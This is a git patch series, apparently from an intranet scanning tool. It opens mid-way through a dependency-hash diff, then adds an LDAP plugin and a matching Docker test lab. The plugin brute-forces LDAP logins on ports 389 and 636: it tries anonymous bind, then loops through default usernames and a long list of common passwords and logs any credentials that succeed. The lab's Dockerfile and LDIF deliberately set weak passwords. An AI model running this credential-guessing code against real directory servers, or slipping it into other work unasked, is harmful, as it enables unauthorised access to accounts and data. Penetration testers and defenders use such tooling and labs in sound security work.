h1:sABNBOSYdrvTF6hTgEIbc7YasKWGhgEQZyfxyTvoXHQ= +go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto= +go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE= go.uber.org/multierr v1.1.0/go.mod h1:wR5kodmAFQ0UK8QlbwjlSNy0Z68gJhDJUG5sjR94q/0= go.uber.org/multierr v1.3.0 h1:sFPn2GLc3poCkfrpIXGhBD2X0CMIo4Q/zSULXrj/+uc= go.uber.org/multierr v1.3.0/go.mod h1:VgVr7evmIr6uPjLBxg28wmKNXyqE9akIJ5XnfpiKl+4= @@ -272,9 +322,11 @@ golang.org/x/crypto v0.0.0-20200728195943-123391ffb6de/go.mod h1:LzIPMQfyMNhhGPh golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20210322153248-0c34fe9e7dc2/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4= golang.org/x/crypto v0.0.0-20210513164829-c07d793c2f9a/go.mod h1:P+XmwS30IXTQdn5tA2iutPOUgjI07+tq3H3K9MVA1s8= +golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.0.0-20220622213112-05595931fe9d/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= -golang.org/x/crypto v0.3.0 h1:a06MkbcxBrEFc0w0QIZWXrH/9cCX6KJyWbBOIwAn+7A= -golang.org/x/crypto v0.3.0/go.mod h1:hebNnKkNXi2UzZN1eVRvBB7co0a+JxK6XbPiWVs/3J4= +golang.org/x/crypto v0.6.0/go.mod h1:OFC/31mSvZgRz0V1QTNCzfAI1aIRzbiufJtkMIlEp58= +golang.org/x/crypto v0.26.0 h1:RrRspgV4mU+YwB4FYnuBoKsUapNIL5cohGAmSH3azsw= +golang.org/x/crypto v0.26.0/go.mod h1:GY7jblb9wI+FOo5y8/S2oY4zWP07AkOJ4+jxCqdqn54= golang.org/x/exp v0.0.0-20181106170214-d68db9428509/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= @@ -299,8 +351,9 @@ golang.org/x/mobile v0.0.0-20190719004257-d2bd2a29d028/go.mod h1:E/iHnbuqvinMTCc golang.org/x/mod v0.0.0-20190513183733-4bf6d317e70e/go.mod h1:mXi4GBBbnImb6dmsKGUJ2LatrhH/nqhxcFungHvyanc= golang.org/x/mod v0.1.0/go.mod h1:0QHyrYULN0/3qlju5TqG8bIK38QM8yzMo5ekMj3DlcY= golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= -golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4 h1:6zppjxzCulZykYSLyVDYbneBfbaBIQPYMevg0bEwv2s= golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= +golang.org/x/mod v0.18.0 h1:5+9lSbEzPSdWkH32vYPBwEpX8KwDbM52Ud9xBUvNlb0= +golang.org/x/mod v0.18.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20181023162649-9b4f9f5ad519/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= @@ -315,12 +368,16 @@ golang.org/x/net v0.0.0-20190501004415-9ce7a6920f09/go.mod h1:t9HGtf8HONx5eT2rtn golang.org/x/net v0.0.0-20190503192946-f4e77d36d62c/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190603091049-60506f45cf65/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks= golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20200114155413-6afb5195e5aa/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20210610132358-84b48f89b13b/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= -golang.org/x/net v0.7.0 h1:rJrUqqhjsgNp7KqAIc25s9pZnjU7TUcSY7HcVZjdn1g= +golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= +golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= +golang.org/x/net v0.28.0 h1:a9JDOJc5GMUJ0+UDqmLT86WiEy7iWyIhz8gz8E4e5hE= +golang.org/x/net v0.28.0/go.mod h1:yqtgsTWOOnlGLG9GFRrK3++bGOUEkNBoHZc8MEDWPNg= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= @@ -330,6 +387,9 @@ golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJ golang.org/x/sync v0.0.0-20190227155943-e225da77a7e6/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.8.0 h1:3NFvSEYkUoMifnESzZl15y791HH1qU2xm6eCJU5ZPXQ= +golang.org/x/sync v0.8.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= @@ -351,17 +411,25 @@ golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20210403161142-5e06dd20ab57/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.5.0 h1:MUK/U/4lj1t1oPg0HfuXDN/Z1wv31ZJ/YcPiGccS4DU= +golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.23.0 h1:YfKFowiIMvtgl1UERQoTPPToxltDeZfbj4H7dVUCwmM= +golang.org/x/sys v0.23.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= -golang.org/x/term v0.5.0 h1:n2a8QNdAb0sZNpU9R1ALUXBbY+w51fCQDN+7EdxNBsY= +golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= +golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= +golang.org/x/term v0.23.0 h1:F6D4vR+EHoL9/sWAWgAR1H2DcHr4PareCbAaCo1RpuU= +golang.org/x/term v0.23.0/go.mod h1:DgV24QBUrK6jhZXl+20l6UWznPlwAHm1Q1mGHtydmSk= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= -golang.org/x/text v0.7.0 h1:4BRB4x83lYWy72KwLD/qYDuTu7q9PjSagHvijDw7cLo= +golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= +golang.org/x/text v0.17.0 h1:XtiM5bkSOt+ewxlOE/aE/AKEHibwj/6gvWMl9Rsh0Qc= +golang.org/x/text v0.17.0/go.mod h1:BuEKDfySbSR4drPmRPG/7iBdf8hvFMuRexcpahXilzY= golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/tools v0.0.0-20180221164845-07fd8470d635/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= @@ -385,8 +453,9 @@ golang.org/x/tools v0.0.0-20191029190741-b9c20aec41a5/go.mod h1:b+2E5dAYhXwXZwtn golang.org/x/tools v0.0.0-20191112195655-aa38f8e97acc/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0= -golang.org/x/tools v0.1.12 h1:VveCTK38A2rkS8ZqFY25HIDFscX5X9OoEhJd3quQmXU= golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= +golang.org/x/tools v0.22.0 h1:gqSGLZqv+AI9lIQzniJ0nZDRG5GBPsSi+DRNHWNz6yA= +golang.org/x/tools v0.22.0/go.mod h1:aCwcsjqvq7Yqt6TNyX7QMU2enbQ/Gt0bo6krSeEri+c= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= @@ -419,8 +488,9 @@ google.golang.org/protobuf v1.28.1 h1:d0NfwRgPtno5B1Wa6L2DAG+KivqkdutMf1UhdNx175 google.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= -gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127 h1:qIbj1fsPNlZgppZ+VLlY7N33q108Sa+fhmuc+sWQYwY= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= +gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= gopkg.in/ini.v1 v1.51.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/resty.v1 v1.12.0/go.mod h1:mDo4pnntr5jdWRML875a/NmxYqAlA73dVijT2AXvQQo= From ee8f52c19906156bdf1ea2929522b4f8d5c0bc44 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Sun, 22 Dec 2024 04:13:47 +0800 Subject: [PATCH 126/188] =?UTF-8?q?feat:=20=E5=A2=9E=E5=8A=A0LDAP=E6=89=AB?= =?UTF-8?q?=E6=8F=8F?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Config.go | 1 + Common/ParseScanMode.go | 4 +- Common/Ports.go | 4 +- Core/Registry.go | 6 +++ Plugins/LDAP.go | 108 ++++++++++++++++++++++++++++++++++++++++ 5 files changed, 119 insertions(+), 4 deletions(-) create mode 100644 Plugins/LDAP.go diff --git a/Common/Config.go b/Common/Config.go index 65a559e..47de716 100644 --- a/Common/Config.go +++ b/Common/Config.go @@ -16,6 +16,7 @@ var Userdict = map[string][]string{ "rabbitmq": {"guest", "admin", "administrator", "rabbit", "rabbitmq", "root"}, "kafka": {"admin", "kafka", "root", "test"}, "activemq": {"admin", "root", "activemq", "system", "user"}, + "ldap": {"admin", "administrator", "root", "cn=admin", "cn=administrator", "cn=manager"}, } var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "P@ssword123", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789", "elastic123"} diff --git a/Common/ParseScanMode.go b/Common/ParseScanMode.go index 6fbde5a..aa3c977 100644 --- a/Common/ParseScanMode.go +++ b/Common/ParseScanMode.go @@ -21,7 +21,7 @@ var pluginGroups = map[string][]string{ "web", "fcgi", // web类 "mysql", "mssql", "redis", "mongodb", "postgres", // 数据库类 "oracle", "memcached", "elasticsearch", "rabbitmq", "kafka", "activemq", // 数据库类 - "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", // 服务类 + "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", // 服务类 "ms17010", "smbghost", "smb2", // 漏洞类 "findnet", "wmiexec", // 其他 }, @@ -36,7 +36,7 @@ var pluginGroups = map[string][]string{ "web", "fcgi", }, ModeService: { - "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", + "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", }, ModeVul: { "ms17010", "smbghost", "smb2", diff --git a/Common/Ports.go b/Common/Ports.go index e914eac..0c29ab8 100644 --- a/Common/Ports.go +++ b/Common/Ports.go @@ -5,11 +5,11 @@ import ( "strings" ) -var ServicePorts = "21,22,23,135,139,445,1433,1521,2222,3306,3389,5432,5672,5671,6379,8161,9000,9092,9093,9200,11211,15672,15671,27017,61616,61613" +var ServicePorts = "21,22,23,135,139,389,445,636,1433,1521,2222,3306,3389,5432,5672,5671,6379,8161,9000,9092,9093,9200,11211,15672,15671,27017,61616,61613" var DbPorts = "1433,1521,3306,5432,5672,6379,9093,9200,11211,27017,61616" var WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880" var AllPorts = "1-65535" -var MainPorts = "21,22,23,80,81,135,139,443,445,1433,1521,3306,5432,5672,6379,7001,8000,8080,8089,9000,9200,9092,11211,15672,27017,61616" +var MainPorts = "21,22,23,80,81,135,139,389,443,445,1433,1521,3306,5432,5672,6379,7001,8000,8080,8089,9000,9200,9092,11211,15672,27017,61616" func ParsePortsFromString(portsStr string) []int { var ports []int diff --git a/Core/Registry.go b/Core/Registry.go index 618c566..0f00d65 100644 --- a/Core/Registry.go +++ b/Core/Registry.go @@ -85,6 +85,12 @@ func init() { ScanFunc: Plugins.ActiveMQScan, }) + Common.RegisterPlugin("ldap", Common.ScanPlugin{ + Name: "LDAP", + Ports: []int{389, 636}, // LDAP标准端口和LDAPS端口 + ScanFunc: Plugins.LDAPScan, + }) + Common.RegisterPlugin("rdp", Common.ScanPlugin{ Name: "RDP", Ports: []int{3389}, diff --git a/Plugins/LDAP.go b/Plugins/LDAP.go new file mode 100644 index 0000000..23b6531 --- /dev/null +++ b/Plugins/LDAP.go @@ -0,0 +1,108 @@ +package Plugins + +import ( + "fmt" + "github.com/go-ldap/ldap/v3" + "github.com/shadow1ng/fscan/Common" + "strings" + "time" +) + +// LDAPScan 执行LDAP服务扫描 +func LDAPScan(info *Common.HostInfo) (tmperr error) { + if Common.DisableBrute { + return + } + + starttime := time.Now().Unix() + + // 尝试匿名访问 + flag, err := LDAPConn(info, "", "") + if flag && err == nil { + return err + } + + // 尝试用户名密码组合 + for _, user := range Common.Userdict["ldap"] { + for _, pass := range Common.Passwords { + pass = strings.Replace(pass, "{user}", user, -1) + + flag, err := LDAPConn(info, user, pass) + if flag && err == nil { + return err + } + + errlog := fmt.Sprintf("[-] LDAP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) + tmperr = err + + if Common.CheckErrs(err) { + return err + } + + if time.Now().Unix()-starttime > (int64(len(Common.Userdict["ldap"])*len(Common.Passwords)) * Common.Timeout) { + return err + } + } + } + return tmperr +} + +// LDAPConn 尝试LDAP连接 +func LDAPConn(info *Common.HostInfo, user string, pass string) (bool, error) { + host, port := info.Host, info.Ports + timeout := time.Duration(Common.Timeout) * time.Second + + // 构造LDAP连接地址 + address := fmt.Sprintf("%s:%s", host, port) + + // 配置LDAP连接 + l, err := ldap.Dial("tcp", address) + if err != nil { + return false, err + } + defer l.Close() + + // 设置超时 + l.SetTimeout(timeout) + + // 尝试绑定 + if user != "" { + // 构造DN + bindDN := fmt.Sprintf("cn=%s,dc=example,dc=com", user) + err = l.Bind(bindDN, pass) + } else { + // 匿名绑定 + err = l.UnauthenticatedBind("") + } + + if err != nil { + return false, err + } + + // 尝试简单搜索以验证权限 + searchRequest := ldap.NewSearchRequest( + "dc=example,dc=com", + ldap.ScopeWholeSubtree, ldap.NeverDerefAliases, 0, 0, false, + "(objectClass=*)", + []string{"dn"}, + nil, + ) + + _, err = l.Search(searchRequest) + if err != nil { + return false, err + } + + // 记录成功结果 + result := fmt.Sprintf("[+] LDAP服务 %v:%v ", host, port) + if user != "" { + result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass) + } else { + result += "匿名访问成功" + } + Common.LogSuccess(result) + + return true, nil +} From 760246b7e09ca303034c5e38b722da476cab5b73 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Sun, 22 Dec 2024 04:13:54 +0800 Subject: [PATCH 127/188] =?UTF-8?q?feat:=20=E5=A2=9E=E5=8A=A0LDAP=E6=B5=8B?= =?UTF-8?q?=E8=AF=95=E7=8E=AF=E5=A2=83?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- TestDocker/LDAP/Dockerfile | 18 ++++++++++ TestDocker/LDAP/README.txt | 2 ++ TestDocker/LDAP/bootstrap.ldif | 24 +++++++++++++ go.mod | 14 +++++--- go.sum | 66 +++++++++++++++++++++++++++------- 5 files changed, 107 insertions(+), 17 deletions(-) create mode 100644 TestDocker/LDAP/Dockerfile create mode 100644 TestDocker/LDAP/README.txt create mode 100644 TestDocker/LDAP/bootstrap.ldif diff --git a/TestDocker/LDAP/Dockerfile b/TestDocker/LDAP/Dockerfile new file mode 100644 index 0000000..7d1f1ac --- /dev/null +++ b/TestDocker/LDAP/Dockerfile @@ -0,0 +1,18 @@ +FROM osixia/openldap:1.5.0 + +# 环境变量设置 +ENV LDAP_ORGANISATION="Example Inc" +ENV LDAP_DOMAIN="example.com" +ENV LDAP_BASE_DN="dc=example,dc=com" +# 设置一个弱密码 +ENV LDAP_ADMIN_PASSWORD="123456" +# 允许匿名访问 +ENV LDAP_READONLY_USER="true" +ENV LDAP_READONLY_USER_USERNAME="readonly" +ENV LDAP_READONLY_USER_PASSWORD="readonly" + +# 暴露端口 +EXPOSE 389 636 + +# 创建初始化脚本 +COPY bootstrap.ldif /container/service/slapd/assets/config/bootstrap/ldif/custom/ \ No newline at end of file diff --git a/TestDocker/LDAP/README.txt b/TestDocker/LDAP/README.txt new file mode 100644 index 0000000..57b4ca5 --- /dev/null +++ b/TestDocker/LDAP/README.txt @@ -0,0 +1,2 @@ +docker build -t ldap-weak . +docker run -d --name ldap-test -p 389:389 -p 636:636 ldap-weak \ No newline at end of file diff --git a/TestDocker/LDAP/bootstrap.ldif b/TestDocker/LDAP/bootstrap.ldif new file mode 100644 index 0000000..d243511 --- /dev/null +++ b/TestDocker/LDAP/bootstrap.ldif @@ -0,0 +1,24 @@ +dn: ou=users,dc=example,dc=com +objectClass: organizationalUnit +ou: users + +dn: cn=admin,ou=users,dc=example,dc=com +objectClass: inetOrgPerson +cn: admin +sn: admin +uid: admin +userPassword: admin123 + +dn: cn=test,ou=users,dc=example,dc=com +objectClass: inetOrgPerson +cn: test +sn: test +uid: test +userPassword: test123 + +dn: cn=root,ou=users,dc=example,dc=com +objectClass: inetOrgPerson +cn: root +sn: root +uid: root +userPassword: root123 \ No newline at end of file diff --git a/go.mod b/go.mod index d5c7875..f24a6ff 100644 --- a/go.mod +++ b/go.mod @@ -9,6 +9,7 @@ require ( github.com/IBM/sarama v1.43.3 github.com/denisenkom/go-mssqldb v0.12.3 github.com/fatih/color v1.7.0 + github.com/go-ldap/ldap/v3 v3.4.9 github.com/go-sql-driver/mysql v1.8.1 github.com/google/cel-go v0.13.0 github.com/hirochachacha/go-smb2 v1.1.0 @@ -20,9 +21,9 @@ require ( github.com/sijms/go-ora/v2 v2.5.29 github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8 github.com/tomatome/grdp v0.0.0-20211231062539-be8adab7eaf3 - golang.org/x/crypto v0.26.0 - golang.org/x/net v0.28.0 - golang.org/x/text v0.17.0 + golang.org/x/crypto v0.31.0 + golang.org/x/net v0.32.0 + golang.org/x/text v0.21.0 google.golang.org/genproto v0.0.0-20221027153422-115e99e71e1c google.golang.org/protobuf v1.28.1 gopkg.in/yaml.v2 v2.4.0 @@ -31,6 +32,7 @@ require ( require ( filippo.io/edwards25519 v1.1.0 // indirect + github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358 // indirect github.com/BurntSushi/toml v0.3.1 // indirect github.com/antlr/antlr4/runtime/Go/antlr v1.4.10 // indirect github.com/davecgh/go-spew v1.1.1 // indirect @@ -38,9 +40,11 @@ require ( github.com/eapache/go-xerial-snappy v0.0.0-20230731223053-c322873962e3 // indirect github.com/eapache/queue v1.1.0 // indirect github.com/geoffgarside/ber v1.1.0 // indirect + github.com/go-asn1-ber/asn1-ber v1.5.7 // indirect github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe // indirect github.com/golang-sql/sqlexp v0.1.0 // indirect github.com/golang/snappy v0.0.4 // indirect + github.com/google/uuid v1.6.0 // indirect github.com/hashicorp/errwrap v1.0.0 // indirect github.com/hashicorp/go-multierror v1.1.1 // indirect github.com/hashicorp/go-uuid v1.0.3 // indirect @@ -65,8 +69,8 @@ require ( go.uber.org/zap v1.14.0 // indirect golang.org/x/lint v0.0.0-20190930215403-16217165b5de // indirect golang.org/x/mod v0.18.0 // indirect - golang.org/x/sync v0.8.0 // indirect - golang.org/x/sys v0.23.0 // indirect + golang.org/x/sync v0.10.0 // indirect + golang.org/x/sys v0.28.0 // indirect golang.org/x/tools v0.22.0 // indirect honnef.co/go/tools v0.0.1-2019.2.3 // indirect ) diff --git a/go.sum b/go.sum index 06280b3..994d5e3 100644 --- a/go.sum +++ b/go.sum @@ -16,6 +16,8 @@ filippo.io/edwards25519 v1.1.0/go.mod h1:BxyFTGdWcka3PhytdK4V28tE5sGfRvvvRV7EaN4 github.com/Azure/azure-sdk-for-go/sdk/azcore v0.19.0/go.mod h1:h6H6c8enJmmocHUbLiiGY6sx7f9i+X3m1CHdd5c6Rdw= github.com/Azure/azure-sdk-for-go/sdk/azidentity v0.11.0/go.mod h1:HcM1YX14R7CJcghJGOYCgdezslRSVzqwLf/q+4Y2r/0= github.com/Azure/azure-sdk-for-go/sdk/internal v0.7.0/go.mod 